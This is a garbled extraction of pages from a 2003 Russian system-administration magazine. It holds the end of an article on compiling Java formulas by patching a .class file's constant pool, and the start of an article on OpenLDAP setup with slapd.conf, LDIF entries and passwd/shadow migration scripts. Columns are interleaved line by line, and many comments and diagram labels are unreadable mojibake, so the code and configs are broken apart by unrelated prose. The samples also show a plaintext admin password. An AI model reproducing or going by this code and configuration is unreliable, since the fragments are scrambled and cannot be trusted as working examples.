êàêèå-íèáóäü åùå ïîëåçíûå import, метод eval (или evalInt, evalDouble, ...)? Все, что можно
êîòîðûå ìîãóò ïðèãîäèòüñÿ âíóòðè ôîðìóëû сделать «легально» для исполнения формулы – создать
public class ___ExpressionNNN { новый экземпляр для нашего нового класса (или по эк-
public static int ___performEval( земпляру для серии вложенных классов) и указать имен-
èìÿ_êëàññà_context c)
{ но этот новый экземпляр при вызове метода ___perform-
int returnValue= òåêñò_ôîðìóëû; Eval через отражения. Виртуальная машина Java не по-

№2(3), февраль 2003 69


программирование
зволит «подменить» экземпляр нового временного клас- // Fields
са объектом context, так же context является предком на- private final ___ExpressionNNN this$0;
шего нового объекта, и его нельзя использовать там, где // Constructors
декларировано использование объекта-потомка. public ___ExpressionNNN$___Performer(
___ExpressionNNN p0)
Приходит в голову банальное решение – перед вызо- {
вом ___performEval скопировать все поля объекта context ðåàëèçàöèÿ: êîïèðóåò p0 â this$0
}
в заново созданный экземпляр наследника context.get-
Class().getName(), а в конце скопировать все поля обрат- // Methods
public int ___performEval()
но (на случай, если формула их изменяла). Все это в прин- {
ципе осуществимо средствами отражений, но вряд ли та- ðåàëèçàöèÿ, ñîäåðæàùàÿ ñêîìïèëèðîâàííûé
òåêñò íàøåé ôîðìóëû: äëÿ îáðàùåíèé ê
кое решение можно назвать качественным. Если полей a,b è äðóãèì ÷ëåíàì context
много, такое копирование может занять много времени. èñïîëüçóåòñÿ ññûëêà this$0
}
Кроме того, в сложных случаях такое поведение попрос- }
ту может оказаться ошибочным. Представьте себе, что
некоторый внешний поток постоянно наблюдает за состо- Обратите внимание на поле this$0. Это «скрытый ме-
янием экземпляра context, и каждое изменение его со- ханизм» языка Java, позволяющий добираться из вложен-
стояния, в том числе внутри формулы (в результате вызо- ных нестатических классов до текущих экземпляров со-
ва методов context), должно быть немедленно обнаруже- держащих их внешних классов. Заметьте: хотя идентифи-
но. Очевидно, при описанном подходе изменения вообще катор this$0 является корректным с точки зрения синтак-
обнаружены не будут. Все изменения будут произведены сиса Java, компилятор javac не позволит объявить поле с
с другим объектом – копией context, а в момент присваи- таким именем в обычном классе – идентификатор «заре-
вания новых полей полям экземпляра context наш метод зервирован для внутреннего использования».
eval «не будет знать», как сообщить об этих изменениях. Вызов ___performEval через отражения выглядит сле-
Хотелось бы попытаться все-таки получить доступ не- дующим образом:
посредственно к экземпляру context.  Вначале нужно создать экземпляр класса ___Expres-
Решение существует. Для этого нам придется «обма- sionNNN (обычным вызовом Class.newInstance).
нуть» компилятор – создать .class-файл, который не мо-  Затем нужно отыскать (единственный) конструктор клас-
жет быть создан «законным» компилятором javac. са ___ExpressionNNN$___Performer и вызвать его (через
Рассмотрим следующий код Java: java.lang.reflect.Constructor), передав в качестве аргумента
ссылку на созданный экземпляр ___ExpressionNNN. Бу-
import java.io.*; дет создан экземпляр ___ExpressionNNN$___Performer.
import java.util.*;
êàêèå-íèáóäü åùå ïîëåçíûå import,  Затем нужно обычным образом (через java.lang.ref-
êîòîðûå ìîãóò ïðèãîäèòüñÿ âíóòðè ôîðìóëû lect.Method) отыскать и вызвать метод ___performEval,
public class ___ExpressionNNN передав методу invoke в качестве параметра ссылку
extends èìÿ_êëàññà_context на только что созданный экземпляр ___Expres-
{
public class ___Performer { sionNNN$___Performer.
public int ___performEval() {
int returnValue= òåêñò_ôîðìóëû;
return returnValue; Если бы на шаге 2 удалось вместо нового экземпляра
} ___ExpressionNNN «подсунуть» конструктору наш экземп-
}
} ляр context, задача была бы решена. Метод ___performEval
работал бы (через ссылку this$0) с нашим экземпляром,
Все, как в прошлый раз, но теперь добавился вло- т.е. выполнил бы нашу формулу в требуемом контексте.
женный класс ___Performer. Метод ___performEval те- Как уже говорилось выше, виртуальная машина Java
перь нестатический и не обладает аргументом, а вне- не допускает передачи в качестве аргумента типа
шний класс ___ExpressionNNN унаследован от ___ExpressionNNN экземпляра его предка context.get-
context.getClass().getName(). Class().getName().
Во что компилируется такой исходный код? Но можно слегка изменить класс ___Performer. Действи-
В результате компиляции получается 2 .class-файла – тельно, если в классе ___Performer везде заменить имя
___ExpressionNNN.class и ___ExpressionNNN$___Per- класса ___ExpressionNNN на context.getClass().getName()
former.class. Рассмотрим их внимательно с помощью ка- (прежде всего тип поля this$0 и тип аргумента конструкто-
кого-нибудь дизассемблера, например утилиты javap (с ра), то этот класс останется с точки зрения виртуальной
ключами -private и -c). машины вполне корректным. Класс ___ExpressionNNN не
Класс ___ExpressionNNN здесь – «пустышка». Он не добавляет к своему предку ни одного нового члена, к кото-
содержит ни одного члена, кроме пустого (автоматичес- рому метод ___performEval мог бы попытаться обратиться
ки добавленного) конструктора. Этот класс – наследник через this$0. При работе с таким скорректированным клас-
context.getClass().getName(). сом через отражения на шаге 2 требования к аргументу
Класс ___Performer имеет следующий вид: конструктора были бы слабее: можно было бы передать
ссылку на экземпляр класса context.getClass().getName(),
public class ___ExpressionNNN$___Performer { в частности на наш экземпляр context.

70
программирование
Такую коррекцию невозможно сделать «легальным» для строк «XXXX», «LXXXX;», (LXXXX;)V». Здесь XXXX –
путем, изменяя исходный текст и вызывая компилятор полное имя класса context, в котором точки (разделители
javac. Стандартный компилятор при генерации вложен- имени пакета) заменены знаком “/”:
ного класса непременно придаст ссылке this$0 точный
тип того класса, в который вложен данный. Но можно context.getClass().getName().replace('.','/')
скорректировать уже скомпилированный .class-файл
___ExpressionNNN$___Performer.class. Полученный новый массив байтов (другой длины) нуж-
Это не так сложно, как кажется. Формат .class-файлов но записать обратно в файл ___ExpressionNNN$___Per-
спроектирован очень грамотно и удобен для наших целей. former.class.
В начале файла идет так называемый «пул кон- Если имя ___ExpressionNNN не используется в Java-
стант», в котором собраны все символьные идентифи- приложении ни для каких других целей – для максималь-
каторы (в кодировке UTF-8), в том числе имена всех ной уверенности можно заменить его чем-нибудь вроде
упоминаемых классов. Весь .class-файл, в частности ___Expression_Asj5Sjl3_NNN, – то полученный .class-файл
пул констант, организован в виде последовательности будет вполне корректным. Остается загрузить его, создать
секций примерно такого вида: экземпляр, передав конструктору в качестве аргумента
код_типа_секции наш объект context, и выполнить метод ___performEval().
содержимое_фиксированной_длины Задача решена полностью.
или Возможно, в формулах имеет смысл открыть непосред-
 код_типа_секции ственный доступ (без уточняющего имени класса) к како-
 длина_секции му-либо набору стандартных функций или констант. Напри-
 содержимое_переменной_длины мер, в математических формулах естественнее смотрелась
бы запись «sin(a+PI/4)», а не «Math.sin(a+Math.PI/4)». Для
Если в произвольной секции изменить содержимое и со- этого достаточно автоматически добавить желаемый на-
ответствующим образом подправить длину секции (размер бор функций и констант во вложенный класс ___Performer.
файла при этом тоже поменяется), то файл сохранит свою Некоторое неудобство приведенного решения связано с
корректность. В .class-файле не встречаются прямые сме- тем, что класс объекта context обязан быть public, а в случае
щения от начала файла или длины в байтах каких-то фраг- локального класса – public static. В частности, недопустимо
ментов файла, за исключением длин элементарных секций. использовать анонимные классы или локальные классы,
Имя класса ___ExpressionNNN может встречаться внут- объявленные внутри методов. В противном случае нам по-
ри файла ___ExpressionNNN$___Performer.class в виде просту не удастся унаследовать от него класс ___Expres-
строковых констант трех видов: sionNNN, расположенный, вообще говоря, в совершенно
 непосредственно строка «___ExpressionNNN» (исполь- другом пакете (в наших примерах – в корневом пакете).
зуется не всеми компиляторами); Очевидно также, что для достижения хорошей эффек-
 строка «L___ExpressionNNN;» – внутреннее имя типа тивности все скомпилированные формулы необходимо кэ-
___ExpressionNNN: именно таким образом виртуальная шировать, чтобы одна и та же формула не компилирова-
машина «именует» классы «внутри себя» (для примитив- лась повторно. Имеет смысл для каждой пары «формулы,
ных типов и массивов используются другие обозначения); экземпляр context» сохранить (в таблице HashMap) готовый
 строка «(L___ExpressionNNN;)V» – сигнатура конструк- объект java.lang.reflect.Method для метода ___performEval и
тора или любого другого метода с единственным ар- экземпляр вложенного класса ___Performer, чтобы при по-
гументом типа ___ExpressionNNN. вторном обращении к eval осталось просто вызвать метод
invoke. Также есть смысл проверить, что одна и та же фор-
Если бы наш класс ___ExpressionNNN был вложен мула с одним и тем же context вызывается повторно, и в
внутрь какого-либо некорневого пакета (в наших приме- этом случае перейти на особо быструю ветку – не обращаю-
рах он размещается в корневом пакете), то в его полном щуюся к таблице HashMap. Подобная оптимизация позво-
имени нужно было бы заменить точки символами “/”. ляет достичь чрезвычайно высокого быстродействия, недо-
Строковые константы, в частности перечисленные стижимого для интерпретируемых скриптовых языков: на-
выше, представлены в пуле констант в виде следую- кладные расходы будут укладываться в доли микросекунды
щих цепочек байтов: (на компьютерах класса Pentium-III 800).
 1 байт: 1 (код строкового типа); Идея описанного выше изящного решения принадлежит
 2 байта: длина length строковой константы в кодиров- моему коллеге, Алексею Вылегжанину (anv@siams.com).
ке UTF-8 (сначала старший байт, потом младший); Разумеется, это решение (в отличие от первого вари-
 length байтов: содержимое строковой константы в ко- анта, требующего использования в формулах ссылки «с.»),
дировке UTF-8. не является стопроцентно переносимым. Оно зависит от
особенностей компилятора javac, которые в принципе мо-
Все, что нам нужно сделать – загрузить файл гут измениться в следующей версии Java. Например, ком-
___ExpressionNNN$___Performer.class в виде массива бай- пилятору ничто не мешает вставить в класс ___Performer
тов, отыскать в нем все такие цепочки байтов для строк явную проверку, что поле this$0 принадлежит нужному типу,
«___ExpressionNNN», «L___ExpressionNNN;», «(L___Expres- причем сформировать имя типа динамически путем сло-
sionNNN;)V» и заменить их соответствующими цепочками жения строк «___Expres» и «sionNNN». Тогда скорректиро-

№2(3), февраль 2003 71


программирование
ванный нами класс работать не будет. Кажется маловеро- «на лету». Эти технологии позволяют профессионально
ятным, что подобное произойдет. Но на всякий случай опи- решать по-настоящему сложные задачи, а также могут
санное решение желательно заново тестировать с каждой быть чрезвычайно удобны и в небольших утилитах.
новой версией Sun Java SDK. Я сознательно не стал приводить Java-реализацию боль-
Технология интерпретации формул на Java может ока- шинства из описанных выше технологий. Кроме того что это
заться чрезвычайно полезной в сложных приложениях, было бы чрезвычайно громоздко, мне кажется, что подоб-
гибко настраиваемых пользователем. Скажем, процеду- ные задачи лучше разработчику решать самостоятельно,
ра построения графика или статистического анализа мо- если только готовое решение не существует в виде стан-
жет принимать на вход не только массив чисел, но и неко- дартизованных и общеизвестных библиотек фирмы Sun или
торую набранную пользователем аналитическую форму- другой фирмы, заслуживающей не меньшего доверия. Ра-
лу. При заполнении сложной формы с множеством пара- зумеется, я располагаю законченной библиотекой, вопло-
метров можно разрешить в некоторых полях указывать щающей все приведенные идеи, в том числе динамическую
формулы, оперирующие другими полями формы (напри- загрузку классов, описанную во второй части статьи. Но я
мер, «предыдущее_поле + 1»). Можно снабдить пользо- никоим образом не берусь утверждать, что моя библиотека
вателя простейшим формульным калькулятором, который достаточно грамотно реализована и хорошо протестирова-
всегда под рукой и обладает функциями, специфичными на – настолько же, насколько это можно сказать о библиоте-
для данного приложения. ках фирмы Sun. Если вы реализуете необходимые функции
Единственной серьезной проблемой может оказаться самостоятельно, то, по крайней мере, вы сможете достаточ-
безопасность. Если разрешить пользователю Java-прило- но свободно отлаживать их и совершенствовать, что было
жения самостоятельно писать формулы, исполняемые си- бы гораздо труднее сделать с чужим кодом.
стемой, то пользователь сможет, вообще говоря, выпол- При написании статьи были использованы официаль-
нить любой законный оператор языка Java – скажем, доб- ные материалы фирмы Sun, приведенные на сайте http://
раться до содержимого диска. Если это недопустимо, то java.sun.com, а также следующие книги:
придется разрабатывать специальный менеджер безопас-  Арнолд К., Гослинг Дж., Холмс Д. Язык программиро-
ности («песочницу») для исполнения формул или жестко вания Java. Издательский дом «Вильямс», Москва –
контролировать текст формулы. С.-Петербург – Киев, 2001.
 Вебер Дж. Технология Java(TM) в подлиннике. «BHV –
Заключение Санкт-Петербург», С.-Петербург, 1997.
Нашу экскурсию по миру отражений можно считать за-
конченной. Мы рассмотрели основные задачи по управ- Все приведенные в статье фрагменты кода я старался
лению классами: доступ к произвольным классам и их тщательно тестировать. Если вы обнаружите в моих тек-
членам, загрузку классов из произвольного источника и, стах ошибки или неточности, а также в случае любых воп-
наконец, компиляцию новых классов из Java-файлов либо росов буду рад вашим письмам.

72
безопасность

OPENLDAP
И ЗАЩИТА ДАННЫХ

В настоящее время при администрировании крупных сетей часто используется система LDAP.
Но документации на русском по ней практически нет, а документация на английском очень уж
«размазана». Поэтому я решил полностью описать механизмы настройки сервера OpenLDAP и его
взаимодействия с уже существующими сетевыми сервисами...

ВСЕВОЛОД СТАХОВ
При администрировании сети на опре- тель» имеет своё имя, телефон, отдел, одна возможность централизован-
делённом этапе возникает проблема служебное положение, скрипт для вхо- ной аутентификации – службы NIS,
централизованного контроля аутенти- да в систему. Каждый пользователь работающие через UDP. LDAP пост-
фикации. Это особенно актуально для обладает определёнными правами, не- роен по объектно-ориентированно-
крупных сетей (100 и более пользова- которые из которых наследуются из му принципу и позволяет с лёгкос-
телей). Раньше единственным прием- прав группы, которой данный пользо- тью добавлять и изменять объекты
лемым выходом в такой ситуации была ватель принадлежит. При входе в сис- при помощи файлов схем. Кроме
установка Novell Netware как централь- тему каталогов пользователь получа- этого, LDAP обладает большими
ного сервера или службы NIS, если ет доступ только к «своим» файлам. возможностями в плане структури-
сеть основана на *nix машинах, что При этом сама система каталогов мо- рованности и работы с клиентами
бывает довольно редко. У Netware жет находиться на нескольких серве- различных платформ. Множество
(версии 4 и старше) существует очень рах. Конечно, здесь очень много ню- приложений поддерживают LDAP че-
грамотный механизм NDS (служба ди- ансов и очень много полезных возмож- рез PAM, но об этом далее. На осно-
ректорий Novell), позволяющий со- ностей, но я перейду сразу же к основ- ве LDAP легко построить гетероген-
здать единое дерево сети, в котором ной теме: службе директорий, работа- ные сети, кроме этого, информация
каждый компонент сети является ющей в TCP/IP-сетях – LDAP об объектах хранится в древовидной
объектом службы директорий. Причём (Lightweight Directory Access Protocol). структуре. Например, вот как может
каждый объект обладает определён- выглядеть дерево для крупной орга-
ными параметрами для его идентифи- Теория и терминология низации, разбросанной по несколь-
кации. Например, объект «пользова- Раньше в *nix существовала только ким странам с дочерними фирмами:

74
безопасность

ROOT

Ñòðàíà=C
Ñòðàíà

Îðãàíèçàöèÿ=O
Îðãàíèçàöèÿ

Îòäåë=OU Îòäåë Îòäåë Îòäåë

Ìåñòîðàñïîëîæåíèå=L ìåñòî ìåñòî ìåñòî ìåñòî ìåñòî

Ïåðñîíà Ïåðñîíà Ïåðñîíà Ïåðñîíà Ïåðñîíà

Ãëàâíûé
Ãëàâíûé

Ãëàâíûé Ãëàâíûé
Îáüåêòû íèæíåãî óðîâíÿ

Ñåðâåð Ñåðâåð Ñåðâåð


Ãëàâíûé Ïåðñîíà Ãëàâíûé Ïåðñîíà

Ïðèíòåð Ïðèíòåð

Êîìïû Êîìïû Êîìïû Êîìïû Êîìïû

Îáúåêòû âåðõíåãî óðîâíÿ(C, O, OU, DC, L) ÿâëÿþòñÿ êîíòåéíåðíûìè, ò.å. Ìîãóò ñîäåðæàòü äðóãèå îáúåêòû. Îáúåêòû íèæíåãî
óðîâíÿ îáû÷íî òàêîé îñîáåííîñòüþ íå îáëàäàþò. Ïðèâåä¸ííàÿ ñõåìà æåñòêî íå çàêðåïëÿåò èåðàðõèþ îáúåêòîâ, äåðåâî ìîæåò ñòðîèòü-
ñÿ â ðàçëè÷íîì ïîðÿäêå. Ïðè èñïîëüçîâàíèè èíòåðíåò-äåðåâà ìîæåò èñïîëüçîâàòüñÿ èåðàðõèÿ îïðåäåëåíèé dc. Çà÷àñòóþ òàêæå
ïðèìåíÿþò ñìåøàííûå ñõåìû ñòàíäàðòíîé è èíòåðíåò íîòèôèêàöèè. Äëÿ âûáîðà êîíêðåòíîé âåòâè èñïîëüçóþò òåðìèí dn ïîèñêà -
âåðõíèé îáúåêò, îò êîòîðîãî íà÷èíàåòñÿ ïîèñê.

Здесь можно сразу же опреде- ные объекты-контейнеры будут играть стройкой сервера. Я использовал
литься с сокращениями, принятыми роль веток, а обычные объекты – роль OpenLDAP и всё нижесказанное от-
в службе директорий: листьев. Вообще, древовидная струк- носится только к данному пакету
 С(ountry) – страна; тура имеет множество преимуществ по LDAP.
 ST(ate) – имя региона, области сравнению с линейной (/etc/passwd), Для начала необходимо иметь сле-
или штата; т.к. позволяет точно определить нахож- дующие вещи (я предполагаю уста-
 L(ocation) – имя города, посёлка, дение пользователя или иного объек- новку из пакетов, а не из сырцов; ус-
деревни; та. /etc/passwd предоставляет лишь тановка из сырцов также не должна
 O(rganization) – имя компании; жалкое подобие данной модели – поле вызвать затруднений, но у меня
 O(rganizational)U(nit) – раздел GECOS, но работая с LDAP, просто не- оных просто не было):
компании. обходимо указывать полное описание  библиотеки LDAP;
объекта. Для обозначения полного  сервер LDAP (slapd);
Данные объекты дерева являются описания (+имени) объекта относи-  pam_ldap и nss_ldap для аутенти-
основополагающими, т.к. являются тельно скелета дерева используется фикации через LDAP.
контейнерами для других объектов. На термин DN (distinguished name – назна-
их основе обычно строится дерево ка- ченное имя, контекст). На этом по- После чего надо настроить сер-
талогов. Самый верхний уровень пред- звольте завершить описание теории и вер на работу в вашей службе ката-
ставляет объект root (и здесь рут!), от перейти к практике... логов. Открываем файл конфигура-
него происходят скелетные объекты, ции /etc/[open]ldap/slapd.conf (при
внутри которых и заключаются конк- Общая настройка установке из исходников /usr/local/
ретные объекты-листья дерева. Если сервера slapd etc/openldap). Он содержит прибли-
представить себе дерево, то скелет- Займёмся самым интересным: на- зительно следующее:

№2(3), февраль 2003 75


безопасность
# Ïðèìåðíûé ôàéë êîíôèãóðàöèè ñåðâåðà slapd.conf. Добавлю, что в этом файле мож-
include /usr/share/openldap/schema/core.schema
include /usr/share/openldap/schema/cosine.schema но ещё указывать дополнительные
include /usr/share/openldap/schema/corba.schema параметры для взаимодействия не-
include /usr/share/openldap/schema/inetorgperson.schema
include /usr/share/openldap/schema/java.schema скольких серверов (реплик): в частно-
include /usr/share/openldap/schema/krb5-kdc.schema сти, основной сервер, вторичные сер-
include /usr/share/openldap/schema/kerberosobject.schema
include /usr/share/openldap/schema/misc.schema вера, пароли доступа к ним и т. д. Но
include /usr/share/openldap/schema/nis.schema это уже другая тема. В основном не-
include /usr/share/openldap/schema/openldap.schema
# Âêëþ÷àåì áàçîâûå îïðåäåëåíèÿ îáúåêòîâ äèðåêòîðèé è äîïîëíèòåëüíûå êëàññû обходимо сделать 3 вещи:
# îáúåêòîâ, ôàéëû ñõåì.
# Âêëþ÷àåì ôàéë, îïèñûâàþùèé ïðàâà äîñòóïà ê ÁÄ:
 установить суффикс БД и выбрать
include /etc/openldap/slapd.access.conf тип контекста (глобальной сети
# Ñòàíäàðòíûå ôàéëû, íåîáõîäèìûå äëÿ ðàáîòû äåìîíà: ôàéë èäåíòèôèêàòîðà è или организации);
# êîìàíäíîé ñòðîêè.
pidfile /var/run/ldap/slapd.pid  указать контекст администратора
argsfile /var/run/ldap/slapd.args LDAP;
# Ïóòü ê äîïîëíèòåëüíûì ìîäóëÿì ñåðâåðà.
modulepath /usr/lib/openldap  установить пароль администрато-
# Îïèñûâàåì ïàðàìåòðû ñîåäèíåíèÿ ÷åðåç SSL. ра LDAP с помощью программы
# Õîñò äëÿ áåçîïàñíîé àóòåíòèôèêàöèè SASL.
sasl-host localhost slappasswd.
# Åñëè âû õîòèòå ðàçðåøèòü ñîåäèíåíèå ÷åðåç TLS òî óáåðèòå êîììåíòàðèé èç
# ñëåäóþùèõ ñòðîê (â äàííîì ïðèìåðå îí åñòü).
#TLSRandFile /dev/random Чтобы установить алгоритм шиф-
#TLSCipherSuite HIGH:+SSLv2 рования пароля, запускайте програм-
#TLSCertificateFile /etc/openldap/ldap.pem
#TLSCertificateKeyFile /etc/openldap/ldap.pem му slappasswd так:
# Ïóòü ê ôàéëó êëþ÷à
#TLSCACertificatePath /etc/openldap/
#TLSCACertificateFile /etc/openldap/ldap.pem slappasswd -h {àëãîðèòì_øèôðîâàíèÿ},
# Ïóòü ê ñåðòèôèêàòó õîñòà
#TLSVerifyClient 0
# Ïðîâåðêà êëþ÷à êëèåíòà вместе с символами {}, например:
# Ñàìîå ãëàâíîå - îïèñàíèå áàçû äàííûõ LDAP
database ldbm slappasswd -h {crypt}
# Òèï áàçû äàííûõ ldbm
suffix "dc=test,dc=ru"
#suffix "o=My Organization Name,c=US" или
# Ýòî îñíîâíîé ñóôôèêñ ÁÄ. Â îïðåäåëåíèè ñèñòåìû äèðåêòîðèé ñóùåñòâóåò òàê
# íàçûâàåìûé êîðíåâîé îáúåêò root. Ñóôôèêñ îïðåäåëÿåò ýòîò îáúåêò. Âîîáùå
# ñóùåñòâóåò 2 ñòàíäàðòà LDAP èìåí äëÿ ñêåëåòà äåðåâà: ìåòîä äëÿ ãëîáàëüíûõ slappasswd -h {md5}
# ñåòåé è ëîêàëüíûõ. Ïåðâûé èìååò ïîäîáíûé âèä è îïèñûâàåò URL àäðåñ:
# person.domain.com(cn=person,dc=domain,dc=com), à âòîðîé îïèñûâàåò
# îðãàíèçàöèþ(âîîáùå-òî ýòîò âèä ÿâëÿåòñÿ ñòàíäàðòíûì) è èìååò ñëåäóþùèé âèä: Вот и всё: сервер может хоть сей-
# person.organization_unit.organization.country(cn=person,ou=otd1,o=lab,c=RU) час начинать работать! Но толку пока
# âûáîð ìåòîäà çàâèñèò îò êîíêðåòíîãî íàçíà÷åíèÿ LDAP è îñîáîãî çíà÷åíèÿ íå èìååò.
#  äàííîé ñòàòüå ÿ èñïîëüçîâàë èíòåðíåò-íàèìåíîâàíèÿ äëÿ êðàòêîñòè, íî îáû÷íî â от него никакого: ведь мы не добави-
# êîìïàíèÿõ âñ¸ æå ÷àùå ïðèìåíÿåòñÿ âòîðîé ñïîñîá ïîñòðîåíèÿ ñêåëåòà äåðåâà. ли объектов. Сейчас я расскажу, как
rootdn "cn=admin,dc=test,dc=ru"
#rootdn "cn=Manager,o=My Organization Name,c=RU" создавать базу данных LDAP и про-
# Ýòî ïîëå ñîäåðæèò ïàðîëü àäìèíèñòðàòîðà îáúåêòà root(òî åñòü âñåé ÁÄ LDAP). водить аутентификацию через неё.
# Ïàðîëü ìîæåò õðàíèòüñÿ êàê â îòêðûòîì âèäå (íå ðåêîìåíäóåòñÿ!), òàê è â
# çàøèôðîâàííîì âèäå ñ óêàçàíèåì àëãîðèòìà øèôðîâàíèÿ ({crypt}, {MD5}, {SSHA},
# {crypt}, {SMD5}, {SHA}) Ïàðîëü æåëàòåëüíî óñòàíàâëèâàòü ïðîãðàììîé slappasswd,
# ïîçâîëÿþùåé óñòàíîâèòü íóæíûé àëãîðèòì øèôðîâàíèÿ.
Создание базы данных
rootpw secret Для первоначальной настройки не-
# rootpw {crypt}ijFYNcSNctBYg плохо было бы объяснить общий син-
# Ïàïêà, ãäå õðàíèòñÿ áàçà äàííûõ LDAP. Ýòà ïàïêà äîëæíà ñóùåñòâîâàòü äî çàïóñêà
# LDAP, êîòîðûé èíà÷å íå çàïóñòèòñÿ. Ïàïêà äîëæíà áûòü äîñòóïíà äëÿ ÷òåíèÿ è çà- таксис файлов для создания базы
# ïèñè òîëüêî ïîëüçîâàòåëþ, ïîä êîòîðûì ðàáîòàåò slapd, è èìåòü ìàñêó äîñòóïà 700. данных (я обозначаю комментарии
directory /var/lib/ldap
# Îïðåäåëåíèÿ ïåðâè÷íûõ è âòîðè÷íûõ èíäåêñîâ ÁÄ ìîæåò óñêîðèòü ïîèñê ïî ÁÄ символом #, но в реальном файле
#index objectClass eq этих комментариев быть не должно!):
index objectClass,uid,uidNumber,gidNumber eq
index cn,mail,surname,givenname eq,subinitial
# Ïðàâà äîñòóïà ïî óìîë÷àíèþ dn: dc=test,dc=ru
access to attr=userPassword # Óíèêàëüíûé êîíòåêñò èìåíè
by self write objectclass: dcObject
by anonymous auth # Êëàññ îáúåêòà – êîíòåéíåðíûé îáúåêò
by dn="uid=root,dc=test,dc=ru" write objectclass: organization
by * none # Òîò æå ñàìûé êîíòåêñò ìîæåò ïðåä-
# Çäåñü îïðåäåëÿåòñÿ äîñòóï ê àòðèáóòó ïàðîëü ïîëüçîâàòåëÿ. Ñàì ïîëüçîâàòåëü èìååò # ñòàâëÿòü ñîáîé ðàçëè÷íûå îáúåêòû
# ïðàâî çàïèñè, àíîíèìíîìó ïîëüçîâàòåëþ ïðåäîñòàâëÿåòñÿ âîçìîæíîñòü ïðîéòè o: test
# àóòåíòèôèêàöèþ (ïîñëå ýòîãî îí ïðåäñòàâëÿåò óæå äðóãîé îáúåêò è äîñòóïà ê ïàðî- # Èìÿ îðãàíèçàöèè
# ëÿì àíîíèìíîãî ïîëüçîâàòåëÿ íå ïðîèñõîäèò, êàê ìîæíî áûëî áû ïîäóìàòü), à ïîëü- dc: test
# çîâàòåëü ñ êîíòåêñòîì "uid=root,ou=people,dc=test,dc=ru" èìååò ïðàâî íà çàïèñü. # Òî æå ñàìîå, íî â ñèñòåìå
# Äðóãèå æå ïîëüçîâàòåëè äîñòóïà ê ïàðîëþ íå èìåþò íèêàêîãî. Ò.å., äðóãèìè ñëîâàìè, # ãëîáàëüíûõ èì¸í
# íèêòî, êðîìå àäìèíèñòðàòîðà è ñàìîãî ïîëüçîâàòåëÿ íå èìåþò äîñòóïà ê ïàðîëþ. # ---------------------------------
access to * dn: cn=admin,dc=test,dc=ru
by dn="uid=root,dc=test,dc=ru" write # Êîíòåêñò àäìèíèñòðàòîðà
by * read objectclass: organizationalRole
# Äîñòóï ê îñòàëüíûì ïîëÿì áàçû LDAP - âñå ìîãóò ÷èòàòü àòðèáóòû (êðîìå ïàðîëÿ, # Êëàññ – äîëæíîñòíîå ëèöî
# òàê êàê çàïðåò èìååò áîëåå âûñîêèé ïðèîðèòåò), à ïîëüçîâàòåëü ñ êîíòåêñòîì cn: admin
# root ìîæåò ïèñàòü âñ¸ ÷òî óãîäíî (à êòî æ åìó ïîìåøàåò ). # Èìÿ ÷åëîâåêà (ïñåâäîíèì)

76
безопасность
базе можно использовать следую- ldapsearch -LL -H ldap://localhost
#---------------------------------- -b"dc=test,dc=ru" -x "(uid=null)"
dn: ou=users,dc=test,dc=ru щий синтаксис:
# Êîíòåêñò ãðóïïû ïîëüçîâàòåëåé #
ou: users # filter: (uid=null)
# Çíà÷åíèå ãðóïïû
objectclass: top ldapadd -x -D "cn=root,dc=test,dc=ru"
-W -f base.ldif # requesting: ALL
objectclass: organizationalUnit
# Êëàññ ãðóïïà #
или же # null, Users, test, ru
#----------------------------------
dn: uid=null,ou=users,dc=test,dc=ru
# Êîíòåêñò êîíêðåòíîãî ïîëüçîâàòåëÿ dn: uid=null,ou=Users,dc=test,dc=ru
# èç /etc/passwd slapadd -f base.ldif
uid: null uid: null
# Åãî ïîëüçîâàòåëüñêèé ïñåâäîíèì cn: Neo
cn: Neo для добавления записи в режиме
# Ðåàëüíûé ïñåâäîíèì offline. Первый способ лучше, так
objectclass: account objectClass: account
# Êëàññ ïîëüçîâàòåëüñêèé ïðîôèëü как позволяет проверить работу
objectclass: posixAccount objectClass: posixAccount
LDAP в сети (фактически использу-
# Êëàññ ïîëüçîâàòåëÿ POSIX objectClass: top
objectclass: top ются TCP-сокеты).
Далее выполняем миграцию того, objectClass: uidObject
objectclass: uidObject
# Ñàìàÿ ëó÷øàÿ îáîëî÷êà - zsh! что нужно перенести в LDAP, например:
loginshell: /bin/zsh loginShell: /bin/zsh
# Âñå ñëåäóþùèå ïàðàìåòðû ñîâïàäàþò uidNumber: 1000
# ñ àíàëîãè÷íûìè â /etc/passwd ./migrate_hosts.pl /etc/hosts
uidnumber: 1000 hosts.ldif gidNumber: 1000
gidnumber: 1000 homeDirectory: /home/null
Файл hosts.ldif будет содержать
homedirectory: /home/null gecos: Neo
примерно следующее (в файле /etc/
gecos: Neo hosts было 192.168.1.23 work.test.ru # search result
userpassword: $1$abcdvPbaLa6vs4ABab1N work):
search: 2

Здесь, думаю, всё понятно. Но ведь dn: cn=work.test.ru,ou=Hosts, result: 0 Success


если у вас система уже настроена и dc=test,dc=ru
objectClass: top # numResponses: 1
содержит порядка 8*1010 пользовате- objectClass: ipHost
objectClass: device # numEntries: 1
лей, то будет немного трудновато всё
ipHostNumber: 192.168.1.23
это заново переписывать. Поэтому во cn: work.test.ru Естественно, что в поиске можно
многих дистрибутивах есть пакет cn: work использовать регулярные выражения.
openldap-migration, содержащий набор «Ну и зачем мы это делали?» – зак-
скриптов для переноса существующих Удобно, не так ли? Можно проде- ричат многие и будут неправы. На са-
файлов и баз сетевых служб в LDAP. лать подобное со всем, для чего уже мом деле это уже хорошо: вся инфор-
Если его нет, то посмотрите здесь: написаны скрипты (можно и самому, мация о системе хранится в древес-
http://www.padl.com. Данный пакет в конце концов, написать! Что нам ном виде в БД. Там её можно искать,
представляет из себя набор скриптов этот Perl). Кстати, вот ещё о чём я читать, писать, ставить нужные пра-
на Perl, обрабатывающий соответству- забыл: при переносе /etc/passwd ва. Идея просто супер! Причём всё это
ющие файлы и службы (/etc/passwd нужно установить переменную окру- хозяйство без проблем достаётся из
(+shadow), /etc/hosts, /etc/profile, /etc/ жения ETC_SHADOW: сети, реестр виндов отдыхает. Это
services, NIS-службы). Использование сказка для любителей Novell и ещё
скриптов предельно просто. Вначале root@ldap # ETC_SHADOW=/etc/shadow один повод перейти на Linux даже в
./migrate_passwd.pl /etc/passwd
надо исправить файл /usr/share/ passwd.ldif крупных сетях. Извините, оговорился,
openldap/migration/migrate_common.ph: на *nix, так как openldap работает
И ещё: не забывайте добавлять практически на всех *nix системах, а
# Ïî÷òîâûé äîìåí ïî óìîë÷àíèþ файлы .ldif f к базе с помощью клиенты есть под любую ось. Ну а те-
$DEFAULT_MAIL_DOMAIN = "test.ru";
